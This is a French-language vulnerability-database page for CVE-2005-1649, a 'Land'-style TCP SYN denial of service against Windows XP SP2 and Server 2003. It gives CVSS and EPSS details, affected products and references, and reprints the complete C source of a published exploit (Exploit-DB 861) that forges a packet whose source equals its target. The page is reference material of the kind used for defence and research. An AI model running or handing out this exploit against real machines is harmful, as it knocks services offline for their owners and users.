CVE-2005-1649 : Détail

CVE-2005-1649

13.33%V4
Network
2005-05-18
02h00 +00:00
2005-05-25
07h00 +00:00
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Descriptions du CVE

The IPv6 support in Windows XP SP2, 2003 Server SP1, and Longhorn, with Windows Firewall turned off, allows remote attackers to cause a denial of service (CPU consumption) via a TCP packet with the SYN flag set and the same destination and source address and port, a variant of CVE-2005-0688 and a reoccurrence of the "Land" vulnerability (CVE-1999-0016).

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 5 AV:N/AC:L/Au:N/C:N/I:N/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 861

Date de publication : 2005-03-06 23h00 +00:00
Auteur : RusH
EDB Vérifié : Yes

/* Added Line #1 - BSD_SOURCE!!!! /str0ke */ #define _BSD_SOURCE #include <stdio.h> #include <ctype.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/in_systm.h> #include <netinet/ip.h> #include <netinet/tcp.h> #include <sysexits.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> /* Windows Server 2003 and XP SP2 remote DoS exploit Tested under OpenBSD 3.6 at WinXP SP 2 Vuln by Dejan Levaja <dejan_@_levaja.com> , http://security.nnov.ru/docs7998.html (c)oded by __blf 2005 RusH Security Team , http://rst.void.ru Gr33tz: zZz, Phoenix, MishaSt, Inck-vizitor Fuck lamerz: Saint_I, nmalykh, Mr. Clumsy All rights reserved. */ //checksum function by r0ach u_short checksum (u_short *addr, int len) { u_short *w = addr; int i = len; int sum = 0; u_short answer; while (i > 0) { sum += *w++; i-=2; } if (i == 1) sum += *(u_char *)w; sum = (sum >> 16) + (sum & 0xffff); sum = sum + (sum >> 16); return (~sum); } int main(int argc, char ** argv) { struct in_addr src, dst; struct sockaddr_in sin; struct _pseudoheader { struct in_addr source_addr; struct in_addr destination_addr; u_char zero; u_char protocol; u_short length; } pseudoheader; struct ip * iph; struct tcphdr * tcph; int mysock; u_char * packet; u_char * pseudopacket; int on = 1; if( argc != 3) { fprintf(stderr, "r57windos.c by __blf\n"); fprintf(stderr, "RusH Security Team\n"); fprintf(stderr, "Usage: %s <dest ip> <dest port>\n", argv[0]); return EX_USAGE; } if ((packet = (char *)malloc(sizeof(struct ip) + sizeof(struct tcphdr))) == NULL) { perror("malloc()\n"); return EX_OSERR; } inet_aton(argv[1], &src); inet_aton(argv[1], &dst); iph = (struct ip *) packet; iph->ip_v = IPVERSION; iph->ip_hl = 5; iph->ip_tos = 0; iph->ip_len = ntohs(sizeof(struct ip) + sizeof(struct tcphdr)); iph->ip_off = htons(IP_DF); iph->ip_ttl = 255; iph->ip_p = IPPROTO_TCP; iph->ip_sum = 0; iph->ip_src = src; iph->ip_dst = dst; tcph = (struct tcphdr *)(packet +sizeof(struct ip)); tcph->th_sport = htons(atoi(argv[2])); tcph->th_dport = htons(atoi(argv[2])); tcph->th_seq = ntohl(rand()); tcph->th_ack = rand(); tcph->th_off = 5; tcph->th_flags = TH_SYN; // setting up TCP SYN flag here tcph->th_win = htons(512); tcph->th_sum = 0; tcph->th_urp = 0; pseudoheader.source_addr = src; pseudoheader.destination_addr = dst; pseudoheader.zero = 0; pseudoheader.protocol = IPPROTO_TCP; pseudoheader.length = htons(sizeof(struct tcphdr)); if((pseudopacket = (char *)malloc(sizeof(pseudoheader)+sizeof(struct tcphdr))) == NULL) { perror("malloc()\n"); return EX_OSERR; } memcpy(pseudopacket, &pseudoheader, sizeof(pseudoheader)); memcpy(pseudopacket + sizeof(pseudoheader), packet + sizeof(struct ip), sizeof(struct tcphdr)); tcph->th_sum = checksum((u_short *)pseudopacket, sizeof(pseudoheader) + sizeof(struct tcphdr)); mysock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW); if(!mysock) { perror("socket!\n"); return EX_OSERR; } if(setsockopt(mysock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == -1) { perror("setsockopt"); shutdown(mysock, 2); return EX_OSERR; } sin.sin_family = PF_INET; sin.sin_addr = dst; sin.sin_port = htons(80); if(sendto(mysock, packet, sizeof(struct ip) + sizeof(struct tcphdr), 0, (struct sockaddr *)&sin, sizeof(sin)) == -1) { perror("sendto()\n"); shutdown(mysock, 2); return EX_OSERR; } printf("Packet sent. Remote machine should be down.\n"); shutdown(mysock, 2); return EX_OK; } // milw0rm.com [2005-03-07]

Products Mentioned

Configuraton 0

Microsoft>>Windows_2003_server >> Version datacenter_64-bit

    Microsoft>>Windows_2003_server >> Version enterprise

      Microsoft>>Windows_2003_server >> Version enterprise

        Microsoft>>Windows_2003_server >> Version enterprise_64-bit

          Microsoft>>Windows_2003_server >> Version enterprise_64-bit

            Microsoft>>Windows_2003_server >> Version r2

              Microsoft>>Windows_2003_server >> Version r2

                Microsoft>>Windows_2003_server >> Version r2

                  Microsoft>>Windows_2003_server >> Version standard

                    Microsoft>>Windows_2003_server >> Version standard

                      Microsoft>>Windows_2003_server >> Version web

                        Microsoft>>Windows_2003_server >> Version web

                          Microsoft>>Windows_xp >> Version *

                            Microsoft>>Windows_xp >> Version *

                            Microsoft>>Windows_xp >> Version *

                            Microsoft>>Windows_xp >> Version *

                            Microsoft>>Windows_xp >> Version *

                            Microsoft>>Windows_xp >> Version *

                              Microsoft>>Windows_xp >> Version *

                              Microsoft>>Windows_xp >> Version *

                              Microsoft>>Windows_xp >> Version *

                              Microsoft>>Windows_xp >> Version *

                              Microsoft>>Windows_xp >> Version *

                              Microsoft>>Windows_xp >> Version *

                              Références

                              http://www.vupen.com/english/advisories/2005/0559
                              Tags : vdb-entry, x_refsource_VUPEN
                              http://www.securityfocus.com/bid/13658
                              Tags : vdb-entry, x_refsource_BID